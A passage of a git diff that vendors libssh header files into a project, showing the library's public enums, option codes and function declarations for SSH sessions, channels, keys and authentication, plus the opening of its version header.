SSH_INVALID_SOCKET ((socket_t) -1) + +/* the offsets of methods */ +enum ssh_kex_types_e { + SSH_KEX=0, + SSH_HOSTKEYS, + SSH_CRYPT_C_S, + SSH_CRYPT_S_C, + SSH_MAC_C_S, + SSH_MAC_S_C, + SSH_COMP_C_S, + SSH_COMP_S_C, + SSH_LANG_C_S, + SSH_LANG_S_C +}; + +#define SSH_CRYPT 2 +#define SSH_MAC 3 +#define SSH_COMP 4 +#define SSH_LANG 5 + +enum ssh_auth_e { + SSH_AUTH_SUCCESS=0, + SSH_AUTH_DENIED, + SSH_AUTH_PARTIAL, + SSH_AUTH_INFO, + SSH_AUTH_AGAIN, + SSH_AUTH_ERROR=-1 +}; + +/* auth flags */ +#define SSH_AUTH_METHOD_UNKNOWN 0x0000u +#define SSH_AUTH_METHOD_NONE 0x0001u +#define SSH_AUTH_METHOD_PASSWORD 0x0002u +#define SSH_AUTH_METHOD_PUBLICKEY 0x0004u +#define SSH_AUTH_METHOD_HOSTBASED 0x0008u +#define SSH_AUTH_METHOD_INTERACTIVE 0x0010u +#define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020u + +/* messages */ +enum ssh_requests_e { + SSH_REQUEST_AUTH=1, + SSH_REQUEST_CHANNEL_OPEN, + SSH_REQUEST_CHANNEL, + SSH_REQUEST_SERVICE, + SSH_REQUEST_GLOBAL +}; + +enum ssh_channel_type_e { + SSH_CHANNEL_UNKNOWN=0, + SSH_CHANNEL_SESSION, + SSH_CHANNEL_DIRECT_TCPIP, + SSH_CHANNEL_FORWARDED_TCPIP, + SSH_CHANNEL_X11, + SSH_CHANNEL_AUTH_AGENT +}; + +enum ssh_channel_requests_e { + SSH_CHANNEL_REQUEST_UNKNOWN=0, + SSH_CHANNEL_REQUEST_PTY, + SSH_CHANNEL_REQUEST_EXEC, + SSH_CHANNEL_REQUEST_SHELL, + SSH_CHANNEL_REQUEST_ENV, + SSH_CHANNEL_REQUEST_SUBSYSTEM, + SSH_CHANNEL_REQUEST_WINDOW_CHANGE, + SSH_CHANNEL_REQUEST_X11 +}; + +enum ssh_global_requests_e { + SSH_GLOBAL_REQUEST_UNKNOWN=0, + SSH_GLOBAL_REQUEST_TCPIP_FORWARD, + SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD, + SSH_GLOBAL_REQUEST_KEEPALIVE +}; + +enum ssh_publickey_state_e { + SSH_PUBLICKEY_STATE_ERROR=-1, + SSH_PUBLICKEY_STATE_NONE=0, + SSH_PUBLICKEY_STATE_VALID=1, + SSH_PUBLICKEY_STATE_WRONG=2 +}; + +/* Status flags */ +/** Socket is closed */ +#define SSH_CLOSED 0x01 +/** Reading to socket won't block */ +#define SSH_READ_PENDING 0x02 +/** Session was closed due to an error */ +#define SSH_CLOSED_ERROR 0x04 +/** Output buffer not empty */ +#define SSH_WRITE_PENDING 0x08 + +enum ssh_server_known_e { + SSH_SERVER_ERROR=-1, + SSH_SERVER_NOT_KNOWN=0, + SSH_SERVER_KNOWN_OK, + SSH_SERVER_KNOWN_CHANGED, + SSH_SERVER_FOUND_OTHER, + SSH_SERVER_FILE_NOT_FOUND +}; + +enum ssh_known_hosts_e { + /** + * There had been an error checking the host. + */ + SSH_KNOWN_HOSTS_ERROR = -2, + + /** + * The known host file does not exist. The host is thus unknown. File will + * be created if host key is accepted. + */ + SSH_KNOWN_HOSTS_NOT_FOUND = -1, + + /** + * The server is unknown. User should confirm the public key hash is + * correct. + */ + SSH_KNOWN_HOSTS_UNKNOWN = 0, + + /** + * The server is known and has not changed. + */ + SSH_KNOWN_HOSTS_OK, + + /** + * The server key has changed. Either you are under attack or the + * administrator changed the key. You HAVE to warn the user about a + * possible attack. + */ + SSH_KNOWN_HOSTS_CHANGED, + + /** + * The server gave use a key of a type while we had an other type recorded. + * It is a possible attack. + */ + SSH_KNOWN_HOSTS_OTHER, +}; + +#ifndef MD5_DIGEST_LEN + #define MD5_DIGEST_LEN 16 +#endif +/* errors */ + +enum ssh_error_types_e { + SSH_NO_ERROR=0, + SSH_REQUEST_DENIED, + SSH_FATAL, + SSH_EINTR +}; + +/* some types for keys */ +enum ssh_keytypes_e{ + SSH_KEYTYPE_UNKNOWN=0, + SSH_KEYTYPE_DSS=1, + SSH_KEYTYPE_RSA, + SSH_KEYTYPE_RSA1, + SSH_KEYTYPE_ECDSA, /* deprecated */ + SSH_KEYTYPE_ED25519, + SSH_KEYTYPE_DSS_CERT01, + SSH_KEYTYPE_RSA_CERT01, + SSH_KEYTYPE_ECDSA_P256, + SSH_KEYTYPE_ECDSA_P384, + SSH_KEYTYPE_ECDSA_P521, + SSH_KEYTYPE_ECDSA_P256_CERT01, + SSH_KEYTYPE_ECDSA_P384_CERT01, + SSH_KEYTYPE_ECDSA_P521_CERT01, + SSH_KEYTYPE_ED25519_CERT01, + SSH_KEYTYPE_SK_ECDSA, + SSH_KEYTYPE_SK_ECDSA_CERT01, + SSH_KEYTYPE_SK_ED25519, + SSH_KEYTYPE_SK_ED25519_CERT01, +}; + +enum ssh_keycmp_e { + SSH_KEY_CMP_PUBLIC = 0, + SSH_KEY_CMP_PRIVATE +}; + +#define SSH_ADDRSTRLEN 46 + +struct ssh_knownhosts_entry { + char *hostname; + char *unparsed; + ssh_key publickey; + char *comment; +}; + + +/* Error return codes */ +#define SSH_OK 0 /* No error */ +#define SSH_ERROR -1 /* Error of some kind */ +#define SSH_AGAIN -2 /* The nonblocking call must be repeated */ +#define SSH_EOF -127 /* We have already a eof */ + +/** + * @addtogroup libssh_log + * + * @{ + */ + +enum { + /** No logging at all + */ + SSH_LOG_NOLOG=0, + /** Only warnings + */ + SSH_LOG_WARNING, + /** High level protocol information + */ + SSH_LOG_PROTOCOL, + /** Lower level protocol infomations, packet level + */ + SSH_LOG_PACKET, + /** Every function path + */ + SSH_LOG_FUNCTIONS +}; +/** @} */ +#define SSH_LOG_RARE SSH_LOG_WARNING + +/** + * @name Logging levels + * + * @brief Debug levels for logging. + * @{ + */ + +/** No logging at all */ +#define SSH_LOG_NONE 0 +/** Show only warnings */ +#define SSH_LOG_WARN 1 +/** Get some information what's going on */ +#define SSH_LOG_INFO 2 +/** Get detailed debugging information **/ +#define SSH_LOG_DEBUG 3 +/** Get trace output, packet information, ... */ +#define SSH_LOG_TRACE 4 + +/** @} */ + +enum ssh_options_e { + SSH_OPTIONS_HOST, + SSH_OPTIONS_PORT, + SSH_OPTIONS_PORT_STR, + SSH_OPTIONS_FD, + SSH_OPTIONS_USER, + SSH_OPTIONS_SSH_DIR, + SSH_OPTIONS_IDENTITY, + SSH_OPTIONS_ADD_IDENTITY, + SSH_OPTIONS_KNOWNHOSTS, + SSH_OPTIONS_TIMEOUT, + SSH_OPTIONS_TIMEOUT_USEC, + SSH_OPTIONS_SSH1, + SSH_OPTIONS_SSH2, + SSH_OPTIONS_LOG_VERBOSITY, + SSH_OPTIONS_LOG_VERBOSITY_STR, + SSH_OPTIONS_CIPHERS_C_S, + SSH_OPTIONS_CIPHERS_S_C, + SSH_OPTIONS_COMPRESSION_C_S, + SSH_OPTIONS_COMPRESSION_S_C, + SSH_OPTIONS_PROXYCOMMAND, + SSH_OPTIONS_BINDADDR, + SSH_OPTIONS_STRICTHOSTKEYCHECK, + SSH_OPTIONS_COMPRESSION, + SSH_OPTIONS_COMPRESSION_LEVEL, + SSH_OPTIONS_KEY_EXCHANGE, + SSH_OPTIONS_HOSTKEYS, + SSH_OPTIONS_GSSAPI_SERVER_IDENTITY, + SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY, + SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, + SSH_OPTIONS_HMAC_C_S, + SSH_OPTIONS_HMAC_S_C, + SSH_OPTIONS_PASSWORD_AUTH, + SSH_OPTIONS_PUBKEY_AUTH, + SSH_OPTIONS_KBDINT_AUTH, + SSH_OPTIONS_GSSAPI_AUTH, + SSH_OPTIONS_GLOBAL_KNOWNHOSTS, + SSH_OPTIONS_NODELAY, + SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES, + SSH_OPTIONS_PROCESS_CONFIG, + SSH_OPTIONS_REKEY_DATA, + SSH_OPTIONS_REKEY_TIME, + SSH_OPTIONS_RSA_MIN_SIZE, + SSH_OPTIONS_IDENTITY_AGENT, +}; + +enum { + /** Code is going to write/create remote files */ + SSH_SCP_WRITE, + /** Code is going to read remote files */ + SSH_SCP_READ, + SSH_SCP_RECURSIVE=0x10 +}; + +enum ssh_scp_request_types { + /** A new directory is going to be pulled */ + SSH_SCP_REQUEST_NEWDIR=1, + /** A new file is going to be pulled */ + SSH_SCP_REQUEST_NEWFILE, + /** End of requests */ + SSH_SCP_REQUEST_EOF, + /** End of directory */ + SSH_SCP_REQUEST_ENDDIR, + /** Warning received */ + SSH_SCP_REQUEST_WARNING +}; + +enum ssh_connector_flags_e { + /** Only the standard stream of the channel */ + SSH_CONNECTOR_STDOUT = 1, + SSH_CONNECTOR_STDINOUT = 1, + /** Only the exception stream of the channel */ + SSH_CONNECTOR_STDERR = 2, + /** Merge both standard and exception streams */ + SSH_CONNECTOR_BOTH = 3 +}; + +LIBSSH_API int ssh_blocking_flush(ssh_session session, int timeout); +LIBSSH_API ssh_channel ssh_channel_accept_x11(ssh_channel channel, int timeout_ms); +LIBSSH_API int ssh_channel_change_pty_size(ssh_channel channel,int cols,int rows); +LIBSSH_API int ssh_channel_close(ssh_channel channel); +LIBSSH_API void ssh_channel_free(ssh_channel channel); +LIBSSH_API int ssh_channel_get_exit_status(ssh_channel channel); +LIBSSH_API ssh_session ssh_channel_get_session(ssh_channel channel); +LIBSSH_API int ssh_channel_is_closed(ssh_channel channel); +LIBSSH_API int ssh_channel_is_eof(ssh_channel channel); +LIBSSH_API int ssh_channel_is_open(ssh_channel channel); +LIBSSH_API ssh_channel ssh_channel_new(ssh_session session); +LIBSSH_API int ssh_channel_open_auth_agent(ssh_channel channel); +LIBSSH_API int ssh_channel_open_forward(ssh_channel channel, const char *remotehost, + int remoteport, const char *sourcehost, int localport); +LIBSSH_API int ssh_channel_open_forward_unix(ssh_channel channel, const char *remotepath, + const char *sourcehost, int localport); +LIBSSH_API int ssh_channel_open_session(ssh_channel channel); +LIBSSH_API int ssh_channel_open_x11(ssh_channel channel, const char *orig_addr, int orig_port); +LIBSSH_API int ssh_channel_poll(ssh_channel channel, int is_stderr); +LIBSSH_API int ssh_channel_poll_timeout(ssh_channel channel, int timeout, int is_stderr); +LIBSSH_API int ssh_channel_read(ssh_channel channel, void *dest, uint32_t count, int is_stderr); +LIBSSH_API int ssh_channel_read_timeout(ssh_channel channel, void *dest, uint32_t count, int is_stderr, int timeout_ms); +LIBSSH_API int ssh_channel_read_nonblocking(ssh_channel channel, void *dest, uint32_t count, + int is_stderr); +LIBSSH_API int ssh_channel_request_env(ssh_channel channel, const char *name, const char *value); +LIBSSH_API int ssh_channel_request_exec(ssh_channel channel, const char *cmd); +LIBSSH_API int ssh_channel_request_pty(ssh_channel channel); +LIBSSH_API int ssh_channel_request_pty_size(ssh_channel channel, const char *term, + int cols, int rows); +LIBSSH_API int ssh_channel_request_shell(ssh_channel channel); +LIBSSH_API int ssh_channel_request_send_signal(ssh_channel channel, const char *signum); +LIBSSH_API int ssh_channel_request_send_break(ssh_channel channel, uint32_t length); +LIBSSH_API int ssh_channel_request_sftp(ssh_channel channel); +LIBSSH_API int ssh_channel_request_subsystem(ssh_channel channel, const char *subsystem); +LIBSSH_API int ssh_channel_request_x11(ssh_channel channel, int single_connection, const char *protocol, + const char *cookie, int screen_number); +LIBSSH_API int ssh_channel_request_auth_agent(ssh_channel channel); +LIBSSH_API int ssh_channel_send_eof(ssh_channel channel); +LIBSSH_API void ssh_channel_set_blocking(ssh_channel channel, int blocking); +LIBSSH_API void ssh_channel_set_counter(ssh_channel channel, + ssh_counter counter); +LIBSSH_API int ssh_channel_write(ssh_channel channel, const void *data, uint32_t len); +LIBSSH_API int ssh_channel_write_stderr(ssh_channel channel, + const void *data, + uint32_t len); +LIBSSH_API uint32_t ssh_channel_window_size(ssh_channel channel); + +LIBSSH_API char *ssh_basename (const char *path); +LIBSSH_API void ssh_clean_pubkey_hash(unsigned char **hash); +LIBSSH_API int ssh_connect(ssh_session session); + +LIBSSH_API ssh_connector ssh_connector_new(ssh_session session); +LIBSSH_API void ssh_connector_free(ssh_connector connector); +LIBSSH_API int ssh_connector_set_in_channel(ssh_connector connector, + ssh_channel channel, + enum ssh_connector_flags_e flags); +LIBSSH_API int ssh_connector_set_out_channel(ssh_connector connector, + ssh_channel channel, + enum ssh_connector_flags_e flags); +LIBSSH_API void ssh_connector_set_in_fd(ssh_connector connector, socket_t fd); +LIBSSH_API void ssh_connector_set_out_fd(ssh_connector connector, socket_t fd); + +LIBSSH_API const char *ssh_copyright(void); +LIBSSH_API void ssh_disconnect(ssh_session session); +LIBSSH_API char *ssh_dirname (const char *path); +LIBSSH_API int ssh_finalize(void); + +/* REVERSE PORT FORWARDING */ +LIBSSH_API ssh_channel ssh_channel_open_forward_port(ssh_session session, + int timeout_ms, + int *destination_port, + char **originator, + int *originator_port); +SSH_DEPRECATED LIBSSH_API ssh_channel ssh_channel_accept_forward(ssh_session session, + int timeout_ms, + int *destination_port); +LIBSSH_API int ssh_channel_cancel_forward(ssh_session session, + const char *address, + int port); +LIBSSH_API int ssh_channel_listen_forward(ssh_session session, + const char *address, + int port, + int *bound_port); + +LIBSSH_API void ssh_free(ssh_session session); +LIBSSH_API const char *ssh_get_disconnect_message(ssh_session session); +LIBSSH_API const char *ssh_get_error(void *error); +LIBSSH_API int ssh_get_error_code(void *error); +LIBSSH_API socket_t ssh_get_fd(ssh_session session); +LIBSSH_API char *ssh_get_hexa(const unsigned char *what, size_t len); +LIBSSH_API char *ssh_get_issue_banner(ssh_session session); +LIBSSH_API int ssh_get_openssh_version(ssh_session session); + +LIBSSH_API int ssh_get_server_publickey(ssh_session session, ssh_key *key); + +enum ssh_publickey_hash_type { + SSH_PUBLICKEY_HASH_SHA1, + SSH_PUBLICKEY_HASH_MD5, + SSH_PUBLICKEY_HASH_SHA256 +}; +LIBSSH_API int ssh_get_publickey_hash(const ssh_key key, + enum ssh_publickey_hash_type type, + unsigned char **hash, + size_t *hlen); + +/* DEPRECATED FUNCTIONS */ +SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash(ssh_session session, unsigned char **hash); +SSH_DEPRECATED LIBSSH_API ssh_channel ssh_forward_accept(ssh_session session, int timeout_ms); +SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel(ssh_session session, const char *address, int port); +SSH_DEPRECATED LIBSSH_API int ssh_forward_listen(ssh_session session, const char *address, int port, int *bound_port); +SSH_DEPRECATED LIBSSH_API int ssh_get_publickey(ssh_session session, ssh_key *key); +SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost(ssh_session session); +SSH_DEPRECATED LIBSSH_API char *ssh_dump_knownhost(ssh_session session); +SSH_DEPRECATED LIBSSH_API int ssh_is_server_known(ssh_session session); +SSH_DEPRECATED LIBSSH_API void ssh_print_hexa(const char *descr, const unsigned char *what, size_t len); +SSH_DEPRECATED LIBSSH_API int ssh_channel_select(ssh_channel *readchans, ssh_channel *writechans, ssh_channel *exceptchans, struct + timeval * timeout); + +SSH_DEPRECATED LIBSSH_API int ssh_scp_accept_request(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_close(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason); +SSH_DEPRECATED LIBSSH_API void ssh_scp_free(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_init(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location); +SSH_DEPRECATED LIBSSH_API int ssh_scp_pull_request(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode); +SSH_DEPRECATED LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms); +SSH_DEPRECATED LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms); +SSH_DEPRECATED LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size); +SSH_DEPRECATED LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len); + + +LIBSSH_API int ssh_get_random(void *where,int len,int strong); +LIBSSH_API int ssh_get_version(ssh_session session); +LIBSSH_API int ssh_get_status(ssh_session session); +LIBSSH_API int ssh_get_poll_flags(ssh_session session); +LIBSSH_API int ssh_init(void); +LIBSSH_API int ssh_is_blocking(ssh_session session); +LIBSSH_API int ssh_is_connected(ssh_session session); + +/* KNOWN HOSTS */ +LIBSSH_API void ssh_knownhosts_entry_free(struct ssh_knownhosts_entry *entry); +#define SSH_KNOWNHOSTS_ENTRY_FREE(e) do { \ + if ((e) != NULL) { \ + ssh_knownhosts_entry_free(e); \ + e = NULL; \ + } \ +} while(0) + +LIBSSH_API int ssh_known_hosts_parse_line(const char *host, + const char *line, + struct ssh_knownhosts_entry **entry); +LIBSSH_API enum ssh_known_hosts_e ssh_session_has_known_hosts_entry(ssh_session session); + +LIBSSH_API int ssh_session_export_known_hosts_entry(ssh_session session, + char **pentry_string); +LIBSSH_API int ssh_session_update_known_hosts(ssh_session session); + +LIBSSH_API enum ssh_known_hosts_e ssh_session_get_known_hosts_entry(ssh_session session, + struct ssh_knownhosts_entry **pentry); +LIBSSH_API enum ssh_known_hosts_e ssh_session_is_known_server(ssh_session session); + +/* LOGGING */ +LIBSSH_API int ssh_set_log_level(int level); +LIBSSH_API int ssh_get_log_level(void); +LIBSSH_API void *ssh_get_log_userdata(void); +LIBSSH_API int ssh_set_log_userdata(void *data); +LIBSSH_API void ssh_vlog(int verbosity, + const char *function, + const char *format, + va_list *va) PRINTF_ATTRIBUTE(3, 0); +LIBSSH_API void _ssh_log(int verbosity, + const char *function, + const char *format, ...) PRINTF_ATTRIBUTE(3, 4); + +/* legacy */ +SSH_DEPRECATED LIBSSH_API void ssh_log(ssh_session session, + int prioriry, + const char *format, ...) PRINTF_ATTRIBUTE(3, 4); + +LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept(ssh_message msg); +LIBSSH_API int ssh_message_channel_request_open_reply_accept_channel(ssh_message msg, ssh_channel chan); +LIBSSH_API int ssh_message_channel_request_reply_success(ssh_message msg); +#define SSH_MESSAGE_FREE(x) \ + do { if ((x) != NULL) { ssh_message_free(x); (x) = NULL; } } while(0) +LIBSSH_API void ssh_message_free(ssh_message msg); +LIBSSH_API ssh_message ssh_message_get(ssh_session session); +LIBSSH_API int ssh_message_subtype(ssh_message msg); +LIBSSH_API int ssh_message_type(ssh_message msg); +LIBSSH_API int ssh_mkdir (const char *pathname, mode_t mode); +LIBSSH_API ssh_session ssh_new(void); + +LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest); +LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv); +LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename); +LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type, + const void *value); +LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type, + char **value); +LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target); +LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap); +LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap); +LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void); +LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename); + +/** + * @addtogroup libssh_auth + * + * @{ + */ + +/** + * @brief SSH authentication callback for password and publickey auth. + * + * @param prompt Prompt to be displayed. + * @param buf Buffer to save the password. You should null-terminate it. + * @param len Length of the buffer. + * @param echo Enable or disable the echo of what you type. + * @param verify Should the password be verified? + * @param userdata Userdata to be passed to the callback function. Useful + * for GUI applications. + * + * @return 0 on success, < 0 on error. + */ +typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len, + int echo, int verify, void *userdata); + +/** @} */ + +LIBSSH_API ssh_key ssh_key_new(void); +#define SSH_KEY_FREE(x) \ + do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0) +LIBSSH_API void ssh_key_free (ssh_key key); +LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key); +LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type); +LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name); +LIBSSH_API int ssh_key_is_public(const ssh_key k); +LIBSSH_API int ssh_key_is_private(const ssh_key k); +LIBSSH_API int ssh_key_cmp(const ssh_key k1, + const ssh_key k2, + enum ssh_keycmp_e what); +LIBSSH_API ssh_key ssh_key_dup(const ssh_key key); + +LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter, + ssh_key *pkey); +LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data, + ssh_key *pkey); +LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data, + char **b64_key); +LIBSSH_API int ssh_pki_import_privkey_file(const char *filename, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data, + ssh_key *pkey); +LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data, + const char *filename); + +LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key, + ssh_key privkey); + +LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key, + enum ssh_keytypes_e type, + ssh_key *pkey); +LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename, + ssh_key *pkey); + +LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert, + enum ssh_keytypes_e type, + ssh_key *pkey); +LIBSSH_API int ssh_pki_import_cert_file(const char *filename, + ssh_key *pkey); + +LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey, + ssh_key *pkey); +LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key, + char **b64_key); +LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key, + const char *filename); + +LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key); + +LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type, + unsigned char *hash, + size_t len); +LIBSSH_API void ssh_print_hash(enum ssh_publickey_hash_type type, unsigned char *hash, size_t len); +LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data); +LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display); +LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds); +LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd, + fd_set *readfds, struct timeval *timeout); +LIBSSH_API int ssh_service_request(ssh_session session, const char *service); +LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel); +LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd); +LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking); +LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter, + ssh_counter rcounter); +LIBSSH_API void ssh_set_fd_except(ssh_session session); +LIBSSH_API void ssh_set_fd_toread(ssh_session session); +LIBSSH_API void ssh_set_fd_towrite(ssh_session session); +LIBSSH_API void ssh_silent_disconnect(ssh_session session); +LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile); + +/* USERAUTH */ +LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username); +LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username); +LIBSSH_API int ssh_userauth_try_publickey(ssh_session session, + const char *username, + const ssh_key pubkey); +LIBSSH_API int ssh_userauth_publickey(ssh_session session, + const char *username, + const ssh_key privkey); +#ifndef _WIN32 +LIBSSH_API int ssh_userauth_agent(ssh_session session, + const char *username); +#endif +LIBSSH_API int ssh_userauth_publickey_auto_get_current_identity(ssh_session session, + char** value); +LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session, + const char *username, + const char *passphrase); +LIBSSH_API int ssh_userauth_password(ssh_session session, + const char *username, + const char *password); + +LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods); +LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session); +LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session); +LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session); +LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo); +LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session); +LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i); +LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i, + const char *answer); +LIBSSH_API int ssh_userauth_gssapi(ssh_session session); +LIBSSH_API const char *ssh_version(int req_version); + +LIBSSH_API void ssh_string_burn(ssh_string str); +LIBSSH_API ssh_string ssh_string_copy(ssh_string str); +LIBSSH_API void *ssh_string_data(ssh_string str); +LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len); +#define SSH_STRING_FREE(x) \ + do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0) +LIBSSH_API void ssh_string_free(ssh_string str); +LIBSSH_API ssh_string ssh_string_from_char(const char *what); +LIBSSH_API size_t ssh_string_len(ssh_string str); +LIBSSH_API ssh_string ssh_string_new(size_t size); +LIBSSH_API const char *ssh_string_get_char(ssh_string str); +LIBSSH_API char *ssh_string_to_char(ssh_string str); +#define SSH_STRING_FREE_CHAR(x) \ + do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0) +LIBSSH_API void ssh_string_free_char(char *s); + +LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo, + int verify); + + +typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata); + +LIBSSH_API ssh_event ssh_event_new(void); +LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events, + ssh_event_callback cb, void *userdata); +LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session); +LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector); +LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout); +LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd); +LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session); +LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector); +LIBSSH_API void ssh_event_free(ssh_event event); +LIBSSH_API const char* ssh_get_clientbanner(ssh_session session); +LIBSSH_API const char* ssh_get_serverbanner(ssh_session session); +LIBSSH_API const char* ssh_get_kex_algo(ssh_session session); +LIBSSH_API const char* ssh_get_cipher_in(ssh_session session); +LIBSSH_API const char* ssh_get_cipher_out(ssh_session session); +LIBSSH_API const char* ssh_get_hmac_in(ssh_session session); +LIBSSH_API const char* ssh_get_hmac_out(ssh_session session); + +LIBSSH_API ssh_buffer ssh_buffer_new(void); +LIBSSH_API void ssh_buffer_free(ssh_buffer buffer); +#define SSH_BUFFER_FREE(x) \ + do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0) +LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer); +LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len); +LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen); +LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer); +LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer); +LIBSSH_API int ssh_session_set_disconnect_message(ssh_session session, const char *message); + +#ifndef LIBSSH_LEGACY_0_4 +#include "libssh/legacy.h" +#endif + +#ifdef __cplusplus +} +#endif +#endif /* _LIBSSH_H */ diff --git a/vendor/libssh/include/libssh/libssh_version.h b/vendor/libssh/include/libssh/libssh_version.h new file mode 100644 index 0000000..50970aa --- /dev/null +++ b/vendor/libssh/include/libssh/libssh_version.h @@ -0,0 +1,41 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2020 by Heiko Thiery + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _LIBSSH_VERSION_H +#define _LIBSSH_VERSION_H + +/* libssh version macros */ +#define SSH_VERSION_INT(a, b, c) ((a) << 16 | (b) << 8 | (c)) +#define SSH_VERSION_DOT(a, b, c) a ##.## b ##.## c +#define 